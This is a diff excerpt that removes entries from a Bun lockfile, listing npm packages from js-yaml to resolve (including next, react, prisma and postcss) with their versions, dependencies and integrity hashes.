- "js-yaml": ["js-yaml@3.14.2", "", { "dependencies": { "argparse": "^1.0.7", "esprima": "^4.0.0" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg=="],
-
- "jsesc": ["jsesc@3.1.0", "", { "bin": { "jsesc": "bin/jsesc" } }, "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA=="],
-
- "json-buffer": ["json-buffer@3.0.1", "", {}, "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ=="],
-
- "json-parse-even-better-errors": ["json-parse-even-better-errors@2.3.1", "", {}, "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="],
-
- "json-schema-traverse": ["json-schema-traverse@0.4.1", "", {}, "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="],
-
- "json-stable-stringify-without-jsonify": ["json-stable-stringify-without-jsonify@1.0.1", "", {}, "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw=="],
-
- "json5": ["json5@2.2.3", "", { "bin": { "json5": "lib/cli.js" } }, "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg=="],
-
- "jsx-ast-utils": ["jsx-ast-utils@3.3.5", "", { "dependencies": { "array-includes": "^3.1.6", "array.prototype.flat": "^1.3.1", "object.assign": "^4.1.4", "object.values": "^1.1.6" } }, "sha512-ZZow9HBI5O6EPgSJLUb8n2NKgmVWTwCvHGwFuJlMjvLFqlGG6pjirPhtdsseaLZjSibD8eegzmYpUZwoIlj2cQ=="],
-
- "keyv": ["keyv@4.5.4", "", { "dependencies": { "json-buffer": "3.0.1" } }, "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw=="],
-
- "language-subtag-registry": ["language-subtag-registry@0.3.23", "", {}, "sha512-0K65Lea881pHotoGEa5gDlMxt3pctLi2RplBb7Ezh4rRdLEOtgi7n4EwK9lamnUCkKBqaeKRVebTq6BAxSkpXQ=="],
-
- "language-tags": ["language-tags@1.0.9", "", { "dependencies": { "language-subtag-registry": "^0.3.20" } }, "sha512-MbjN408fEndfiQXbFQ1vnd+1NoLDsnQW41410oQBXiyXDMYH5z505juWa4KUE1LqxRC7DgOgZDbKLxHIwm27hA=="],
-
- "levn": ["levn@0.4.1", "", { "dependencies": { "prelude-ls": "^1.2.1", "type-check": "~0.4.0" } }, "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ=="],
-
- "lilconfig": ["lilconfig@3.1.3", "", {}, "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw=="],
-
- "lines-and-columns": ["lines-and-columns@1.2.4", "", {}, "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg=="],
-
- "locate-path": ["locate-path@6.0.0", "", { "dependencies": { "p-locate": "^5.0.0" } }, "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw=="],
-
- "lodash": ["lodash@4.18.1", "", {}, "sha512-dMInicTPVE8d1e5otfwmmjlxkZoUpiVLwyeTdUsi/Caj/gfzzblBcCE5sRHV/AsjuCmxWrte2TNGSYuCeCq+0Q=="],
-
- "lodash.merge": ["lodash.merge@4.6.2", "", {}, "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ=="],
-
- "loose-envify": ["loose-envify@1.4.0", "", { "dependencies": { "js-tokens": "^3.0.0 || ^4.0.0" }, "bin": "cli.js" }, "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q=="],
-
- "lru-cache": ["lru-cache@11.3.5", "", {}, "sha512-NxVFwLAnrd9i7KUBxC4DrUhmgjzOs+1Qm50D3oF1/oL+r1NpZ4gA7xvG0/zJ8evR7zIKn4vLf7qTNduWFtCrRw=="],
-
- "lucide-react": ["lucide-react@0.460.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc" } }, "sha512-BVtq/DykVeIvRTJvRAgCsOwaGL8Un3Bxh8MbDxMhEWlZay3T4IpEKDEpwt5KZ0KJMHzgm6jrltxlT5eXOWXDHg=="],
-
- "magic-string": ["magic-string@0.30.21", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.5" } }, "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ=="],
-
- "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="],
-
- "merge2": ["merge2@1.4.1", "", {}, "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg=="],
-
- "micromatch": ["micromatch@4.0.8", "", { "dependencies": { "braces": "^3.0.3", "picomatch": "^2.3.1" } }, "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA=="],
-
- "minimatch": ["minimatch@10.2.5", "", { "dependencies": { "brace-expansion": "^5.0.5" } }, "sha512-MULkVLfKGYDFYejP07QOurDLLQpcjk7Fw+7jXS2R2czRQzR56yHRveU5NDJEOviH+hETZKSkIk5c+T23GjFUMg=="],
-
- "minimist": ["minimist@1.2.8", "", {}, "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA=="],
-
- "minipass": ["minipass@7.1.3", "", {}, "sha512-tEBHqDnIoM/1rXME1zgka9g6Q2lcoCkxHLuc7ODJ5BxbP5d4c2Z5cGgtXAku59200Cx7diuHTOYfSBD8n6mm8A=="],
-
- "motion-dom": ["motion-dom@11.18.1", "", { "dependencies": { "motion-utils": "^11.18.1" } }, "sha512-g76KvA001z+atjfxczdRtw/RXOM3OMSdd1f4DL77qCTF/+avrRJiawSG4yDibEQ215sr9kpinSlX2pCTJ9zbhw=="],
-
- "motion-utils": ["motion-utils@11.18.1", "", {}, "sha512-49Kt+HKjtbJKLtgO/LKj9Ld+6vw9BjH5d9sc40R/kVyH8GLAXgT42M2NnuPcJNuA3s9ZfZBUcwIgpmZWGEE+hA=="],
-
- "ms": ["ms@2.1.3", "", {}, "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="],
-
- "multimatch": ["multimatch@5.0.0", "", { "dependencies": { "@types/minimatch": "^3.0.3", "array-differ": "^3.0.0", "array-union": "^2.1.0", "arrify": "^2.0.1", "minimatch": "^3.0.4" } }, "sha512-ypMKuglUrZUD99Tk2bUQ+xNQj43lPEfAeX2o9cTteAmShXy2VHDJpuwu1o0xqoKCt9jLVAvwyFKdLTPXKAfJyA=="],
-
- "mz": ["mz@2.7.0", "", { "dependencies": { "any-promise": "^1.0.0", "object-assign": "^4.0.1", "thenify-all": "^1.0.0" } }, "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q=="],
-
- "nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="],
-
- "natural-compare": ["natural-compare@1.4.0", "", {}, "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw=="],
-
- "next": ["next@15.5.15", "", { "dependencies": { "@next/env": "15.5.15", "@swc/helpers": "0.5.15", "caniuse-lite": "^1.0.30001579", "postcss": "8.4.31", "styled-jsx": "5.1.6" }, "optionalDependencies": { "@next/swc-darwin-arm64": "15.5.15", "@next/swc-darwin-x64": "15.5.15", "@next/swc-linux-arm64-gnu": "15.5.15", "@next/swc-linux-arm64-musl": "15.5.15", "@next/swc-linux-x64-gnu": "15.5.15", "@next/swc-linux-x64-musl": "15.5.15", "@next/swc-win32-arm64-msvc": "15.5.15", "@next/swc-win32-x64-msvc": "15.5.15", "sharp": "^0.34.3" }, "peerDependencies": { "@opentelemetry/api": "^1.1.0", "@playwright/test": "^1.51.1", "babel-plugin-react-compiler": "*", "react": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0", "react-dom": "^18.2.0 || 19.0.0-rc-de68d2f4-20241204 || ^19.0.0", "sass": "^1.3.0" }, "optionalPeers": ["@opentelemetry/api", "@playwright/test", "babel-plugin-react-compiler", "sass"], "bin": { "next": "dist/bin/next" } }, "sha512-VSqCrJwtLVGwAVE0Sb/yikrQfkwkZW9p+lL/J4+xe+G3ZA+QnWPqgcfH1tDUEuk9y+pthzzVFp4L/U8JerMfMQ=="],
-
- "next-themes": ["next-themes@0.4.6", "", { "peerDependencies": { "react": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc", "react-dom": "^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc" } }, "sha512-pZvgD5L0IEvX5/9GWyHMf3m8BKiVQwsCMHfoFosXtXBMnaS0ZnIJ9ST4b4NqLVKDEm8QBxoNNGNaBv2JNF6XNA=="],
-
- "node-fetch-native": ["node-fetch-native@1.6.7", "", {}, "sha512-g9yhqoedzIUm0nTnTqAQvueMPVOuIY16bqgAJJC8XOOubYFNwz6IER9qs0Gq2Xd0+CecCKFjtdDTMA4u4xG06Q=="],
-
- "normalize-path": ["normalize-path@3.0.0", "", {}, "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="],
-
- "nypm": ["nypm@0.6.5", "", { "dependencies": { "citty": "^0.2.0", "pathe": "^2.0.3", "tinyexec": "^1.0.2" }, "bin": { "nypm": "dist/cli.mjs" } }, "sha512-K6AJy1GMVyfyMXRVB88700BJqNUkByijGJM8kEHpLdcAt+vSQAVfkWWHYzuRXHSY6xA2sNc5RjTj0p9rE2izVQ=="],
-
- "object-assign": ["object-assign@4.1.1", "", {}, "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg=="],
-
- "object-hash": ["object-hash@3.0.0", "", {}, "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw=="],
-
- "object-inspect": ["object-inspect@1.13.4", "", {}, "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew=="],
-
- "object-keys": ["object-keys@1.1.1", "", {}, "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA=="],
-
- "object.assign": ["object.assign@4.1.5", "", { "dependencies": { "call-bind": "^1.0.5", "define-properties": "^1.2.1", "has-symbols": "^1.0.3", "object-keys": "^1.1.1" } }, "sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ=="],
-
- "object.entries": ["object.entries@1.1.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-cmopxi8VwRIAw/fkijJohSfpef5PdN0pMQJN6VC/ZKvn0LIknWD8KtgY6KlQdEc4tIjcQ3HxSMmnvtzIscdaYQ=="],
-
- "object.fromentries": ["object.fromentries@2.0.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.2", "es-object-atoms": "^1.0.0" } }, "sha512-k6E21FzySsSK5a21KRADBd/NGneRegFO5pLHfdQLpRDETUNJueLXs3WCzyQ3tFRDYgbq3KHGXfTbi2bs8WQ6rQ=="],
-
- "object.groupby": ["object.groupby@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.2" } }, "sha512-+Lhy3TQTuzXI5hevh8sBGqbmurHbbIjAi0Z4S63nthVLmLxfbj4T54a4CfZrXIrt9iP4mVAPYMo/v99taj3wjQ=="],
-
- "object.values": ["object.values@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-gXah6aZrcUxjWg2zR2MwouP2eHlCBzdV4pygudehaKXSGW4v2AsRQUK+lwwXhii6KFZcunEnmSUoYp5CXibxtA=="],
-
- "ohash": ["ohash@2.0.11", "", {}, "sha512-RdR9FQrFwNBNXAr4GixM8YaRZRJ5PUWbKYbE5eOsrwAjJW0q2REGcf79oYPsLyskQCZG1PLN+S/K1V00joZAoQ=="],
-
- "optionator": ["optionator@0.9.4", "", { "dependencies": { "deep-is": "^0.1.3", "fast-levenshtein": "^2.0.6", "levn": "^0.4.1", "prelude-ls": "^1.2.1", "type-check": "^0.4.0", "word-wrap": "^1.2.5" } }, "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g=="],
-
- "own-keys": ["own-keys@1.0.1", "", { "dependencies": { "get-intrinsic": "^1.2.6", "object-keys": "^1.1.1", "safe-push-apply": "^1.0.0" } }, "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg=="],
-
- "p-limit": ["p-limit@3.1.0", "", { "dependencies": { "yocto-queue": "^0.1.0" } }, "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ=="],
-
- "p-locate": ["p-locate@5.0.0", "", { "dependencies": { "p-limit": "^3.0.2" } }, "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw=="],
-
- "parent-module": ["parent-module@1.0.1", "", { "dependencies": { "callsites": "^3.0.0" } }, "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g=="],
-
- "parse-json": ["parse-json@5.2.0", "", { "dependencies": { "@babel/code-frame": "^7.0.0", "error-ex": "^1.3.1", "json-parse-even-better-errors": "^2.3.0", "lines-and-columns": "^1.1.6" } }, "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg=="],
-
- "parse-passwd": ["parse-passwd@1.0.0", "", {}, "sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q=="],
-
- "path-exists": ["path-exists@4.0.0", "", {}, "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w=="],
-
- "path-key": ["path-key@3.1.1", "", {}, "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q=="],
-
- "path-parse": ["path-parse@1.0.7", "", {}, "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="],
-
- "path-scurry": ["path-scurry@2.0.2", "", { "dependencies": { "lru-cache": "^11.0.0", "minipass": "^7.1.2" } }, "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg=="],
-
- "path-type": ["path-type@4.0.0", "", {}, "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw=="],
-
- "pathe": ["pathe@2.0.3", "", {}, "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w=="],
-
- "perfect-debounce": ["perfect-debounce@1.0.0", "", {}, "sha512-xCy9V055GLEqoFaHoC1SoLIaLmWctgCUaBaWxDZ7/Zx4CTyX7cJQLJOok/orfjZAh9kEYpjJa4d0KcJmCbctZA=="],
-
- "picocolors": ["picocolors@1.1.1", "", {}, "sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA=="],
-
- "picomatch": ["picomatch@4.0.4", "", {}, "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A=="],
-
- "pify": ["pify@2.3.0", "", {}, "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog=="],
-
- "pirates": ["pirates@4.0.7", "", {}, "sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA=="],
-
- "pkg-types": ["pkg-types@2.3.0", "", { "dependencies": { "confbox": "^0.2.2", "exsolve": "^1.0.7", "pathe": "^2.0.3" } }, "sha512-SIqCzDRg0s9npO5XQ3tNZioRY1uK06lA41ynBC1YmFTmnY6FjUjVt6s4LoADmwoig1qqD0oK8h1p/8mlMx8Oig=="],
-
- "please-upgrade-node": ["please-upgrade-node@3.2.0", "", { "dependencies": { "semver-compare": "^1.0.0" } }, "sha512-gQR3WpIgNIKwBMVLkpMUeR3e1/E1y42bqDQZfql+kDeXd8COYfM8PQA4X6y7a8u9Ua9FHmsrrmirW2vHs45hWg=="],
-
- "possible-typed-array-names": ["possible-typed-array-names@1.0.0", "", {}, "sha512-d7Uw+eZoloe0EHDIYoe+bQ5WXnGMOpmiZFTuMWCwpjzzkL2nTjcKiAk4hh8TjnGye2TwWOk3UXucZ+3rbmBa8Q=="],
-
- "postcss": ["postcss@8.5.10", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-pMMHxBOZKFU6HgAZ4eyGnwXF/EvPGGqUr0MnZ5+99485wwW41kW91A4LOGxSHhgugZmSChL5AlElNdwlNgcnLQ=="],
-
- "postcss-import": ["postcss-import@15.1.0", "", { "dependencies": { "postcss-value-parser": "^4.0.0", "read-cache": "^1.0.0", "resolve": "^1.1.7" }, "peerDependencies": { "postcss": "^8.0.0" } }, "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew=="],
-
- "postcss-js": ["postcss-js@4.1.0", "", { "dependencies": { "camelcase-css": "^2.0.1" }, "peerDependencies": { "postcss": "^8.4.21" } }, "sha512-oIAOTqgIo7q2EOwbhb8UalYePMvYoIeRY2YKntdpFQXNosSu3vLrniGgmH9OKs/qAkfoj5oB3le/7mINW1LCfw=="],
-
- "postcss-load-config": ["postcss-load-config@6.0.1", "", { "dependencies": { "lilconfig": "^3.1.1" }, "peerDependencies": { "jiti": ">=1.21.0", "postcss": ">=8.0.9", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["jiti", "postcss", "tsx", "yaml"] }, "sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g=="],
-
- "postcss-nested": ["postcss-nested@6.2.0", "", { "dependencies": { "postcss-selector-parser": "^6.1.1" }, "peerDependencies": { "postcss": "^8.2.14" } }, "sha512-HQbt28KulC5AJzG+cZtj9kvKB93CFCdLvog1WFLf1D+xmMvPGlBstkpTEZfK5+AN9hfJocyBFCNiqyS48bpgzQ=="],
-
- "postcss-selector-parser": ["postcss-selector-parser@6.1.2", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg=="],
-
- "postcss-value-parser": ["postcss-value-parser@4.2.0", "", {}, "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="],
-
- "prelude-ls": ["prelude-ls@1.2.1", "", {}, "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g=="],
-
- "prisma": ["prisma@6.19.3", "", { "dependencies": { "@prisma/config": "6.19.3", "@prisma/engines": "6.19.3" }, "peerDependencies": { "typescript": ">=5.1.0" }, "optionalPeers": ["typescript"], "bin": { "prisma": "build/index.js" } }, "sha512-++ZJ0ijLrDJF6hNB4t4uxg2br3fC4H9Yc9tcbjr2fcNFP3rh/SBNrAgjhsqBU4Ght8JPrVofG/ZkXfnSfnYsFg=="],
-
- "prop-types": ["prop-types@15.8.1", "", { "dependencies": { "loose-envify": "^1.4.0", "object-assign": "^4.1.1", "react-is": "^16.13.1" } }, "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg=="],
-
- "punycode": ["punycode@2.3.1", "", {}, "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg=="],
-
- "pure-rand": ["pure-rand@6.1.0", "", {}, "sha512-bVWawvoZoBYpp6yIoQtQXHZjmz35RSVHnUOTefl8Vcjr8snTPY1wnpSPMWekcFwbxI6gtmT7rSYPFvz71ldiOA=="],
-
- "queue-microtask": ["queue-microtask@1.2.3", "", {}, "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A=="],
-
- "rc9": ["rc9@2.1.2", "", { "dependencies": { "defu": "^6.1.4", "destr": "^2.0.3" } }, "sha512-btXCnMmRIBINM2LDZoEmOogIZU7Qe7zn4BpomSKZ/ykbLObuBdvG+mFq11DL6fjH1DRwHhrlgtYWG96bJiC7Cg=="],
-
- "react": ["react@19.2.5", "", {}, "sha512-llUJLzz1zTUBrskt2pwZgLq59AemifIftw4aB7JxOqf1HY2FDaGDxgwpAPVzHU1kdWabH7FauP4i1oEeer2WCA=="],
-
- "react-dom": ["react-dom@19.2.5", "", { "dependencies": { "scheduler": "^0.27.0" }, "peerDependencies": { "react": "^19.2.5" } }, "sha512-J5bAZz+DXMMwW/wV3xzKke59Af6CHY7G4uYLN1OvBcKEsWOs4pQExj86BBKamxl/Ik5bx9whOrvBlSDfWzgSag=="],
-
- "react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="],
-
- "react-remove-scroll": ["react-remove-scroll@2.7.2", "", { "dependencies": { "react-remove-scroll-bar": "^2.3.7", "react-style-singleton": "^2.2.3", "tslib": "^2.1.0", "use-callback-ref": "^1.3.3", "use-sidecar": "^1.1.3" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-Iqb9NjCCTt6Hf+vOdNIZGdTiH1QSqr27H/Ek9sv/a97gfueI/5h1s3yRi1nngzMUaOOToin5dI1dXKdXiF+u0Q=="],
-
- "react-remove-scroll-bar": ["react-remove-scroll-bar@2.3.8", "", { "dependencies": { "react-style-singleton": "^2.2.2", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" }, "optionalPeers": ["@types/react"] }, "sha512-9r+yi9+mgU33AKcj6IbT9oRCO78WriSj6t/cF8DWBZJ9aOGPOTEDvdUDz1FwKim7QXWwmHqtdHnRJfhAxEG46Q=="],
-
- "react-style-singleton": ["react-style-singleton@2.2.3", "", { "dependencies": { "get-nonce": "^1.0.0", "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-b6jSvxvVnyptAiLjbkWLE/lOnR4lfTtDAl+eUC7RZy+QQWc6wRzIV2CE6xBuMmDxc2qIihtDCZD5NPOFl7fRBQ=="],
-
- "read-cache": ["read-cache@1.0.0", "", { "dependencies": { "pify": "^2.3.0" } }, "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA=="],
-
- "readdirp": ["readdirp@3.6.0", "", { "dependencies": { "picomatch": "^2.2.1" } }, "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA=="],
-
- "reflect.getprototypeof": ["reflect.getprototypeof@1.0.7", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4", "gopd": "^1.0.1", "which-builtin-type": "^1.1.4" } }, "sha512-bMvFGIUKlc/eSfXNX+aZ+EL95/EgZzuwA0OBPTbZZDEJw/0AkentjMuM1oiRfwHrshqk4RzdgiTg5CcDalXN5g=="],
-
- "regexp.prototype.flags": ["regexp.prototype.flags@1.5.3", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-errors": "^1.3.0", "set-function-name": "^2.0.2" } }, "sha512-vqlC04+RQoFalODCbCumG2xIOvapzVMHwsyIGM/SIE8fRhFFsXeH8/QQ+s0T0kDAhKc4k30s73/0ydkHQz6HlQ=="],
-
- "require-directory": ["require-directory@2.1.1", "", {}, "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q=="],
-
- "require-package-name": ["require-package-name@2.0.1", "", {}, "sha512-uuoJ1hU/k6M0779t3VMVIYpb2VMJk05cehCaABFhXaibcbvfgR8wKiozLjVFSzJPmQMRqIcO0HMyTFqfV09V6Q=="],
-
- "resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
-
